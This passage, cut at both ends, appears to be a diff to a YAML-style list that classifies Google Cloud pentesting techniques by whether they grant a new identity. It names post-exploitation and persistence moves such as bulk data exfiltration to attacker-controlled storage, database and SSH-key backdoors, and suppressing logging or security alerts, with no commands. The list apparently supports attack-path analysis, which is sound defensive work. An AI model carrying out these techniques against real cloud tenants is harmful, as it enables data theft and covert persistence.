description; no additional configuration-derived identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-app-topology-enum.md#app-topology-apptopologygoogleapiscom + technique: App Topology (apptopology.googleapis.com) + reason: Inventory, context, or link; no distinct identity gain in this heading. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-google-secops-enum.md#google-secops-chroniclegoogleapiscom + technique: Google SecOps (chronicle.googleapis.com) + reason: Service context, inventory, or authorization description; no additional configuration-derived identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-bare-metal-solution-enum.md#enumeration-read-only--rolesbaremetalsolutionviewer + technique: Enumeration (read-only — roles/baremetalsolution.viewer) + reason: Inventory, context, or link; no distinct identity gain in this heading. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-beyondcorp-enum.md#secure-gateway-beyondcorpgoogleapiscom + technique: Secure Gateway (beyondcorp.googleapis.com) + reason: Pointer to dedicated privilege-escalation page owned by another group; no standalone permission chain in this heading. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-support-enum.md#cloud-customer-care-cloudsupportgoogleapiscom + technique: Cloud Customer Care (cloudsupport.googleapis.com) + reason: Inventory, context, or link; no distinct identity gain in this heading. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-app-lifecycle-manager-enum.md#app-lifecycle-manager-saasservicemgmtgoogleapiscom + technique: App Lifecycle Manager (saasservicemgmt.googleapis.com) + reason: 'Identity mechanics already covered: gcp-saasservicemgmt-release-unit-actuation.' +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-firebase-app-hosting-enum.md#firebase-app-hosting-firebaseapphostinggoogleapiscom + technique: Firebase App Hosting (firebaseapphosting.googleapis.com) + reason: Service context, inventory, or authorization description; no additional configuration-derived identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-billing-enum.md#cloud-billing-cloudbillinggoogleapiscom + technique: Cloud Billing (cloudbilling.googleapis.com) + reason: Pointer to dedicated privilege-escalation page owned by another group; no standalone permission chain in this heading. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-binary-authorization-enum.md#binary-authorization-binaryauthorizationgoogleapiscom + technique: Binary Authorization (binaryauthorization.googleapis.com) + reason: Inventory, context, or link; no distinct identity gain in this heading. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-config-controller-enum.md#config-controller-krmapihostinggoogleapiscom + technique: Config Controller (krmapihosting.googleapis.com) + reason: KCC reconciler-SA control is gcp-configcontroller-kcc-resource-write; this page only describes identity and discovery. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-document-ai-enum.md#document-ai-documentaigoogleapiscom + technique: Document AI (documentai.googleapis.com) + reason: Service context, inventory, or authorization description; no additional configuration-derived identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-cluster-director-enum.md#cluster-director-hypercomputeclustergoogleapiscom + technique: Cluster Director (hypercomputecluster.googleapis.com) + reason: 'Identity mechanics already covered: gcp-hypercomputecluster-login-node-startup-actas.' +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-agent-registry-enum.md#agent-registry-agentregistrygoogleapiscom + technique: Agent Registry (agentregistry.googleapis.com) + reason: 'Identity mechanics already covered: gcp-agentregistry-skill-default-revision-replace.' +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-application-design-center-enum.md#application-design-center-designcentergoogleapiscom + technique: Application Design Center (designcenter.googleapis.com) + reason: 'V1D-NS-1: deploy/update as selected SA needs caller actAs, Design Center service-agent actAs, and executable-IaC control.' +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-ids-enum.md#cloud-ids-idsgoogleapiscom + technique: Cloud IDS (ids.googleapis.com) + reason: Inventory, context, or link; no distinct identity gain in this heading. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-advisory-notifications-enum.md#advisory-notifications-advisorynotificationsgoogleapiscom + technique: Advisory Notifications (advisorynotifications.googleapis.com) + reason: Inventory, context, or link; no distinct identity gain in this heading. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-container-analysis-enum.md#container-analysis-containeranalysisgoogleapiscom + technique: Container Analysis (containeranalysis.googleapis.com) + reason: Service context, inventory, or authorization description; no additional configuration-derived identity gain. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-access-approval-enum.md#access-approval-accessapprovalgoogleapiscom + technique: Access Approval (accessapproval.googleapis.com) + reason: Inventory, context, or link; no distinct identity gain in this heading. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-app-hub-enum.md#apphubdiscoveredserviceslist--discoveredworkloadslist--cross-project-topology-recon-primary-value + technique: apphub.discoveredServices.list / discoveredWorkloads.list — cross-project topology recon (primary value) + reason: Inventory, context, or link; no distinct identity gain in this heading. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-app-hub-enum.md#serviceprojectattachmentsdetach--delete--application-map-tamper-metadata-dos + technique: serviceProjectAttachments.detach / .delete — application-map tamper (metadata DoS) + reason: Attachment tampering only changes catalog visibility, not workload IAM. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-app-hub-enum.md#apphubapplicationssetiampolicy--self-grant-weak + technique: apphub.applications.setIamPolicy — self-grant (weak) + reason: The page describes only admin/owner holders, who already possess the App Hub application permissions they could self-grant. It does not establish an actual + new effective permission for the acting principal. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-cli-execution-enum.md#cloud-cli-execution-cloudcligoogleapiscom + technique: Cloud CLI Execution (cloudcli.googleapis.com) + reason: Inventory, context, or link; no distinct identity gain in this heading. +- source: src/pentesting-cloud/gcp-security/gcp-basic-information/README.md#create--assign-apply-a-pab + technique: Create / Assign (Apply) a PAB + reason: Creating or assigning a principal access boundary restricts which resources a principal can reach; it grants no second identity or additional IAM role. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-application-design-center-post-exploitation.md#rolesdesigncenterviewer--read-objects-from-known-cloud-storage-buckets + technique: roles/designcenter.viewer — read objects from known Cloud Storage buckets + reason: This permission reads or exports the named service data or metadata; any embedded secrets are runtime data, not a configuration-derived principal-to-principal + IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-alloydb-post-exploitation.md#alloydbuserscreate--update--plant-a-built-in-database-administrator-credential + technique: alloydb.users.create / .update — plant a built-in database administrator credential + reason: The operation grants or uses PostgreSQL database privileges inside AlloyDB, not a second Google Cloud IAM principal. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-alloydb-post-exploitation.md#create-an-iam-database-user-with-an-explicit-database-role + technique: Create an IAM database user with an explicit database role + reason: The operation grants or uses PostgreSQL database privileges inside AlloyDB, not a second Google Cloud IAM principal. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-alloydb-post-exploitation.md#alloydbinstancesexecutesql--query-through-the-data-api-without-a-database-network-path + technique: alloydb.instances.executeSql* — query through the Data API without a database network path + reason: The operation grants or uses PostgreSQL database privileges inside AlloyDB, not a second Google Cloud IAM principal. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-alloydb-post-exploitation.md#alloydbclustersexport--export-database-data-to-an-attacker-controlled-bucket + technique: alloydb.clusters.export — export database data to an attacker-controlled bucket + reason: This permission reads or exports the named service data or metadata; any embedded secrets are runtime data, not a configuration-derived principal-to-principal + IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-alloydb-post-exploitation.md#alloydbclustersrestore--restore-a-cross-project-backup-into-a-controlled-project + technique: alloydb.clusters.restore — restore a cross-project backup into a controlled project + reason: This action changes service data, routing, certificates, or a defensive setting; it does not by itself grant the caller another Google IAM principal's permissions. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-lifecycle-manager-post-exploitation.md#saasservicemgmtflagsupdate--revisionreleaserollout-creation--change-application-behavior-without-deploying-code + technique: saasservicemgmt.flags.update + revision/release/rollout creation — change application behavior without deploying code + reason: Flag revision and rollout changes alter application behavior; any authorization bypass is application-specific and does not grant a Google IAM principal. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-lifecycle-manager-post-exploitation.md#saasservicemgmtflagreleasescreate--rolloutscreate--republish-a-known-older-flag-revision + technique: saasservicemgmt.flagReleases.create + rollouts.create — republish a known older flag revision + reason: Flag revision and rollout changes alter application behavior; any authorization bypass is application-specific and does not grant a Google IAM principal. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md#artifactregistryrepositoriesdownloadartifacts--inspect-stored-artifacts-for-sensitive-data + technique: artifactregistry.repositories.downloadArtifacts — inspect stored artifacts for sensitive data + reason: This permission reads or exports the named service data or metadata; any embedded secrets are runtime data, not a configuration-derived principal-to-principal + IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md#artifactregistryrepositoriesexportartifacts--copy-an-artifact-to-cloud-storage + technique: artifactregistry.repositories.exportArtifacts — copy an artifact to Cloud Storage + reason: This permission reads or exports the named service data or metadata; any embedded secrets are runtime data, not a configuration-derived principal-to-principal + IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md#artifactregistryattachmentscreate--add-untrusted-metadata-to-an-artifact + technique: artifactregistry.attachments.create — add untrusted metadata to an artifact + reason: Creating an attachment adds artifact metadata only; it does not make a consumer execute code or yield the consumer service account. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md#artifactregistryrepositoriessetiampolicy--expose-a-repository-publicly + technique: artifactregistry.repositories.setIamPolicy — expose a repository publicly + reason: Repository IAM self-grant exposes artifacts in that repository; it does not change the identity of workloads that consume them. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md#artifactregistryrepositoriesupdate--disable-automatic-vulnerability-scanning + technique: artifactregistry.repositories.update — disable automatic vulnerability scanning + reason: This action changes service data, routing, certificates, or a defensive setting; it does not by itself grant the caller another Google IAM principal's permissions. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigquery-post-exploitation.md#bigqueryjobslistall--jobslist-jobsget--read-every-principals-sql-silently + technique: bigquery.jobs.listAll (+ jobs.list, jobs.get) — read every principal's SQL, silently + reason: This permission reads or exports the named service data or metadata; any embedded secrets are runtime data, not a configuration-derived principal-to-principal + IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigquery-post-exploitation.md#bigquerytablesgetdata--paginate-an-entire-table-without-running-a-query + technique: bigquery.tables.getData — paginate an entire table without running a query + reason: This permission reads or exports the named service data or metadata; any embedded secrets are runtime data, not a configuration-derived principal-to-principal + IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigquery-post-exploitation.md#bigqueryconnectionsuse--query-cloud-sql-through-stored-connection-credentials + technique: bigquery.connections.use — query Cloud SQL through stored connection credentials + reason: A connection can issue selected Cloud SQL queries with stored database credentials; it does not disclose or impersonate a Google service account. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigquery-post-exploitation.md#bigquerytablesexport--export-data--bulk-exfiltration-to-attacker-controlled-storage + technique: bigquery.tables.export / EXPORT DATA — bulk exfiltration to attacker-controlled storage + reason: This permission reads or exports the named service data or metadata; any embedded secrets are runtime data, not a configuration-derived principal-to-principal + IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigquery-post-exploitation.md#bigquerymodelsexport--mlweights--exfiltrate-trained-bqml-models + technique: bigquery.models.export / ML.WEIGHTS — exfiltrate trained BQML models + reason: This permission reads or exports the named service data or metadata; any embedded secrets are runtime data, not a configuration-derived principal-to-principal + IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-certificate-manager-post-exploitation.md#publiccaexternalaccountkeyscreate--register-a-persistent-off-platform-acme-account + technique: publicca.externalAccountKeys.create — register a persistent off-platform ACME account + reason: The operation affects TLS/ACME trust or certificate presentation at an application endpoint; it does not grant a Google Cloud IAM principal's permissions. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-certificate-manager-post-exploitation.md#certificatemanagertrustconfigsupdate--inject-an-mtls-client-identity + technique: certificatemanager.trustconfigs.update — inject an mTLS client identity + reason: The operation affects TLS/ACME trust or certificate presentation at an application endpoint; it does not grant a Google Cloud IAM principal's permissions. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-certificate-manager-post-exploitation.md#certificatemanagercertmapentriesupdate--substitute-a-live-hostname-certificate + technique: certificatemanager.certmapentries.update — substitute a live hostname certificate + reason: The operation affects TLS/ACME trust or certificate presentation at an application endpoint; it does not grant a Google Cloud IAM principal's permissions. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md#execute-sql-through-the-data-api--cloudsqlinstancesexecutesql + technique: Execute SQL through the Data API — cloudsql.instances.executeSql + reason: The resulting credential or operation is confined to the Cloud SQL database plane; it cannot impersonate the instance service account. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md#export-database-contents-through-the-instance-service-account--cloudsqlinstancesexport + technique: Export database contents through the instance service account — cloudsql.instances.export + reason: The resulting credential or operation is confined to the Cloud SQL database plane; it cannot impersonate the instance service account. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md#import-an-attacker-controlled-database-dump--cloudsqlinstancesimport + technique: Import an attacker-controlled database dump — cloudsql.instances.import + reason: The resulting credential or operation is confined to the Cloud SQL database plane; it cannot impersonate the instance service account. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md#weaken-transport-security-or-invalidate-client-certificates--cloudsqlinstancesupdate-cloudsqlinstancesresetsslconfig + technique: Weaken transport security or invalidate client certificates — cloudsql.instances.update, cloudsql.instances.resetSslConfig + reason: The resulting credential or operation is confined to the Cloud SQL database plane; it cannot impersonate the instance service account. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md#suppress-postgresql-engine-logging--cloudsqlinstancesupdate + technique: Suppress PostgreSQL engine logging — cloudsql.instances.update + reason: The resulting credential or operation is confined to the Cloud SQL database plane; it cannot impersonate the instance service account. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md#destroy-data-or-weaken-recovery--delete-databases-backups-or-instances + technique: Destroy data or weaken recovery — delete databases, backups, or instances + reason: This action changes service data, routing, certificates, or a defensive setting; it does not by itself grant the caller another Google IAM principal's permissions. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md#disrupt-instance-availability--update-restart-failover-or-stop-a-replica + technique: Disrupt instance availability — update, restart, failover, or stop a replica + reason: This action changes service data, routing, certificates, or a defensive setting; it does not by itself grant the caller another Google IAM principal's permissions. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-deploy-post-exploitation.md#clouddeployreleasesget--list--plaintext-deploy-params--execution-sa-disclosure-viewer-only + technique: clouddeploy.releases.get / .list — plaintext deploy-params + execution-SA disclosure (viewer-only) + reason: This permission reads or exports the named service data or metadata; any embedded secrets are runtime data, not a configuration-derived principal-to-principal + IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md#read-application-logs-with-logginglogentrieslist + technique: Read application logs with logging.logEntries.list + reason: This permission reads or exports the named service data or metadata; any embedded secrets are runtime data, not a configuration-derived principal-to-principal + IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bare-metal-solution-post-exploitation.md#baremetalsolutionnfssharesupdate--expose-an-nfs-export-to-a-reachable-client + technique: baremetalsolution.nfsshares.update — expose an NFS export to a reachable client + reason: NFS export allowlisting changes which clients can mount files; it does not authenticate as the Bare Metal host or its Google service account. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-scheduler-post-exploitation.md#cloudschedulerjobsget-or-list--cloudschedulerjobsfullview--silent-secret-harvesting + technique: (cloudscheduler.jobs.get or .list) + cloudscheduler.jobs.fullView — silent secret harvesting + reason: This permission reads or exports the named service data or metadata; any embedded secrets are runtime data, not a configuration-derived principal-to-principal + IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-scheduler-post-exploitation.md#cloudschedulerjobsrun---replay-privileged-jobs-on-demand + technique: cloudscheduler.jobs.run - replay privileged jobs on demand + reason: Running a pinned existing Scheduler job replays its stored request; the caller cannot choose a new OAuth request or obtain its service-account token. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-scheduler-post-exploitation.md#cloudschedulerjobsupdate---payloadtarget-tampering-on-a-trusted-job + technique: cloudscheduler.jobs.update - payload/target tampering on a trusted job + reason: The same jobs.update plus iam.serviceAccounts.actAs combination and pinned job service-account target are modeled by gcp-cloudscheduler-jobs-update-actas. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-scheduler-post-exploitation.md#cloudschedulerjobspause--cloudschedulerjobsdelete---disruption + technique: cloudscheduler.jobs.pause / cloudscheduler.jobs.delete - disruption + reason: This action changes service data, routing, certificates, or a defensive setting; it does not by itself grant the caller another Google IAM principal's permissions. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-domains-post-exploitation.md#domainsregistrationsconfigurecontact--expose-registrant-data-or-alter-transfer-contacts + technique: domains.registrations.configureContact — expose registrant data or alter transfer contacts + reason: This action changes service data, routing, certificates, or a defensive setting; it does not by itself grant the caller another Google IAM principal's permissions. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-biglake-post-exploitation.md#biglaketablesgetdata--obtain-table-scoped-cloud-storage-credentials + technique: biglake.tables.getData — obtain table-scoped Cloud Storage credentials + reason: The delegated credentials and writes are scoped to Lakehouse table objects in Cloud Storage; they do not grant the catalog service account's general IAM + roles. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-biglake-post-exploitation.md#biglaketablesupdatedata--update--write-objects-and-commit-a-malicious-iceberg-snapshot + technique: biglake.tables.updateData + .update — write objects and commit a malicious Iceberg snapshot + reason: The delegated credentials and writes are scoped to Lakehouse table objects in Cloud Storage; they do not grant the catalog service account's general IAM + roles. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-biglake-post-exploitation.md#biglaketablesupdate--repoint-a-biglake-metastore-classic-table-location + technique: biglake.tables.update — repoint a BigLake metastore (classic) table location + reason: The delegated credentials and writes are scoped to Lakehouse table objects in Cloud Storage; they do not grant the catalog service account's general IAM + roles. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-quotas-post-exploitation.md#cloudquotasquotasget--map-capacity-dimensions-and-quota-request-history + technique: cloudquotas.quotas.get — map capacity, dimensions and quota-request history + reason: This permission reads or exports the named service data or metadata; any embedded secrets are runtime data, not a configuration-derived principal-to-principal + IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-dns-post-exploitation.md#create-a-forwarding-or-peering-zone + technique: Create a forwarding or peering zone + reason: A forwarding or peering zone changes DNS routing; it grants network reach or interception, not another principal's IAM roles. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-run-post-exploitation.md#runlocationsexportimage--export-a-cached-private-image-without-source-registry-access + technique: run.locations.exportImage — export a cached private image without source-registry access + reason: This permission reads or exports the named service data or metadata; any embedded secrets are runtime data, not a configuration-derived principal-to-principal + IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-run-post-exploitation.md#delete-cloud-run-services-jobs-or-revisions + technique: Delete Cloud Run services, jobs or revisions + reason: This action changes service data, routing, certificates, or a defensive setting; it does not by itself grant the caller another Google IAM principal's permissions. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-binary-authorization-post-exploitation.md#binaryauthorizationpolicyupdate-plus-workload-deployment--relax-admission-and-obtain-a-workload-foothold + technique: binaryauthorization.policy.update plus workload deployment — relax admission and obtain a workload foothold + reason: The Binary Authorization change only weakens image admission; acquiring a workload identity additionally requires a separate deployment permission and suitable + workload, modeled by the deployment entries. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-binary-authorization-post-exploitation.md#binaryauthorizationattestorsupdate-plus-artifact-analysis-occurrence-creation--inject-a-signing-key-and-obtain-a-workload-foothold + technique: binaryauthorization.attestors.update plus Artifact Analysis occurrence creation — inject a signing key and obtain a workload footh + reason: The Binary Authorization change only weakens image admission; acquiring a workload identity additionally requires a separate deployment permission and suitable + workload, modeled by the deployment entries. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-advisory-notifications-post-exploitation.md#advisorynotificationsnotificationslist--read-full-security-and-privacy-notices + technique: advisorynotifications.notifications.list — read full security and privacy notices + reason: This permission reads or exports the named service data or metadata; any embedded secrets are runtime data, not a configuration-derived principal-to-principal + IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-advisory-notifications-post-exploitation.md#advisorynotificationssettingsupdate--disable-organization-sensitive-actions-delivery + technique: advisorynotifications.settings.update — disable organization Sensitive Actions delivery + reason: This action changes service data, routing, certificates, or a defensive setting; it does not by itself grant the caller another Google IAM principal's permissions. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md#cloudfunctionsfunctionssourcecodeget--request-a-signed-source-download-url + technique: cloudfunctions.functions.sourceCodeGet — request a signed source-download URL + reason: This permission reads or exports the named service data or metadata; any embedded secrets are runtime data, not a configuration-derived principal-to-principal + IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-access-approval-post-exploitation.md#accessapprovalsettingsupdate--accessapprovalsettingsdelete + technique: accessapproval.settings.update / accessapproval.settings.delete + reason: This action changes service data, routing, certificates, or a defensive setting; it does not by itself grant the caller another Google IAM principal's permissions. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-access-approval-post-exploitation.md#accessapprovalrequestsapprove--dismiss--invalidate--rubber-stamp-or-kill-approval-requests + technique: accessapproval.requests.approve / .dismiss / .invalidate — rubber-stamp or kill approval requests + reason: Approving or dismissing a Google support access request changes a support guardrail; it does not grant the caller the support principal's IAM rights. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-tasks-persistence.md#cloudtaskstaskscreate---override-queue-retry-limits-per-task + technique: cloudtasks.tasks.create - override queue retry limits per task + reason: Per-task retry overrides only alter delivery timing and retry count; the task's authenticated request still requires the separately modeled task-create + plus actAs path. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-alloydb-persistence.md#create-a-postgresql-native-backdoor-below-the-alloydb-api-inventory + technique: Create a PostgreSQL-native backdoor below the AlloyDB API inventory + reason: The created PostgreSQL-native user can access AlloyDB data, but cannot impersonate the cluster's Google service account. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-iam-persistence.md#resourcemanagersetiampolicy---plant-a-durable-hierarchy-binding + technique: resourcemanager.*.setIamPolicy - Plant a durable hierarchy binding + reason: The project/folder/organization IAM self-grant uses resourcemanager.*.setIamPolicy, already modeled by the matching resourcemanager policy-write entries; + this section describes retaining the grant. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-workflows-persistence.md#source-only-update---keep-a-privileged-identity-after-actas-is-revoked + technique: Source-only update - keep a privileged identity after actAs is revoked + reason: The same source-only workflow update retaining its attached service account is modeled by gcp-workflows-update-source-retain-sa. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-sql-persistence.md#create-a-user-or-rotate-a-password + technique: Create a user or rotate a password + reason: The resulting credential or operation is confined to the Cloud SQL database plane; it cannot impersonate the instance service account. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-sql-persistence.md#cloudsqlsslcertscreate--mint-a-durable-client-certificate + technique: cloudsql.sslCerts.create — mint a durable client certificate + reason: The resulting credential or operation is confined to the Cloud SQL database plane; it cannot impersonate the instance service account. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-sql-persistence.md#in-engine-scheduled-task-cloudsqlenable_pg_cron--mysql-event_scheduler--self-triggering-db-persistence + technique: In-engine scheduled task (cloudsql.enable_pg_cron / MySQL event_scheduler) — self-triggering DB persistence + reason: The resulting credential or operation is confined to the Cloud SQL database plane; it cannot impersonate the instance service account. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-iam-deny-policies-persistence.md#iamdenypoliciescreate + technique: iam.denypolicies.create + reason: Deny/PAB policy editing changes a guardrail on existing permissions; it does not by itself add a second principal or role. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-iam-deny-policies-persistence.md#angle-2--guardrail-removal-privesc-enabler-deleterelax-a-pab-blocking-you + technique: Angle 2 — guardrail-removal privesc-enabler (delete/relax a PAB blocking you) + reason: Deny/PAB policy editing changes a guardrail on existing permissions; it does not by itself add a second principal or role. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cluster-director-persistence.md#hypercomputeclusterclustersupdate--iamserviceaccountsactas--persist-a-login-fleet-startup-hook + technique: hypercomputecluster.clusters.update + iam.serviceAccounts.actAs — persist a login-fleet startup hook + reason: The same cluster update plus actAs login-node startup hook is modeled by gcp-hypercomputecluster-login-node-startup-actas; this section describes its persistence. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-vpc-service-controls-persistence.md#gcpuseraccessbindingscreateupdate--90-day-workforce-looker-sessions + technique: gcpUserAccessBindings.create/update — 90-day Workforce Looker sessions + reason: The binding extends an existing Workforce Looker session, which is application access rather than another Google Cloud IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigquery-persistence.md#bigquerydatasetsupdate--bigquerydatasetssetiampolicy--persistent-dataset-acl-grant + technique: bigquery.datasets.update / bigquery.datasets.setIamPolicy — persistent dataset ACL grant + reason: Duplicate durable variant of the active BigQuery dataset self-grant paths; no distinct source action or newly effective permission beyond those entries. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-essential-contacts-persistence.md#essentialcontactscontactscreate + technique: essentialcontacts.contacts.create + reason: An added essential contact receives operational/security notifications; it is an information feed, not an IAM grant. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-app-engine-persistence.md#cron-based-persistence-cronyaml + technique: Cron-based persistence (cron.yaml) + reason: Cron only invokes an existing App Engine handler; code execution as the app service account already requires deploying a backdoored version, modeled by + gcp-appengine-versions-create-actas or its legacy default-SA variant. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-looker-persistence.md#project-level-iam-binding-of-roleslookeradmin-to-a-controlled-principal + technique: Project-level IAM binding of roles/looker.admin to a controlled principal + reason: The project/folder/organization IAM self-grant uses resourcemanager.*.setIamPolicy, already modeled by the matching resourcemanager policy-write entries; + this section describes retaining the grant. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-firestore-persistence.md#datastoreusercreds--mint-db-native-credentials-iam-independent-persistence--data-plane-exfil + technique: datastore.userCreds.* — mint DB-native credentials (IAM-independent persistence / data-plane exfil) + reason: The credential is for a database, host, TLS client or application plane, not a Google IAM service account. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-eventarc-persistence.md#eventarcpipelinescreate--recurring-oauth-token-delivery-as-an-identity-level-backdoor + technique: eventarc.pipelines.create — recurring OAuth-token delivery as an identity-level backdoor + reason: The same Eventarc OAuth-token pipeline plus actAs path is modeled by gcp-eventarc-pipeline-oauth-token-actas; this section describes a recurring delivery + schedule. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bare-metal-solution-persistence.md#project-level-ssh-key-backdoor-baremetalsolutionsshkeyscreate + technique: Project-level SSH key backdoor (baremetalsolution.sshKeys.create) + reason: A project SSH key grants Bare Metal host login, not Google IAM service-account impersonation. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bare-metal-solution-persistence.md#serial-console-left-enabled-baremetalsolutioninstancesenableinteractiveserialconsole + technique: Serial console left enabled (baremetalsolution.instances.enableInteractiveSerialConsole) + reason: Serial-console access is a Bare Metal host-control foothold; it does not grant a Google IAM principal. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bare-metal-solution-persistence.md#standing-nfs-allowlist-entry-baremetalsolutionnfssharesupdate + technique: Standing NFS allowlist entry (baremetalsolution.nfsshares.update) + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application access; it does not grant another Google + IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-liens-persistence.md#resourcemanagerprojectscreatelien + technique: resourcemanager.projects.createLien + reason: A lien blocks project deletion until removed; it protects a foothold but grants no role or identity. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-asset-inventory-persistence.md#cloudassetfeedscreate--asset-feed-to-an-attacker-controlled-pubsub-topic + technique: cloudasset.feeds.create — asset feed to an attacker-controlled Pub/Sub topic + reason: The feed continuously copies asset and IAM-policy changes to Pub/Sub; it grants intelligence, not use of any listed principal. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md#durable-change-stream-wiretap-bigtabletablesupdate + technique: Durable change-stream wiretap (bigtable.tables.update) + reason: The described standing change collects or exposes data, changes monitoring or recovery, or preserves application access; it does not grant another Google + IAM principal's roles. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-bigtable-persistence.md#silent-rolling-automated-backups-bigtabletablesupdate + technique: Silent rolling automated backups (bigtable.tables.update) + reason: The described standing change collects or 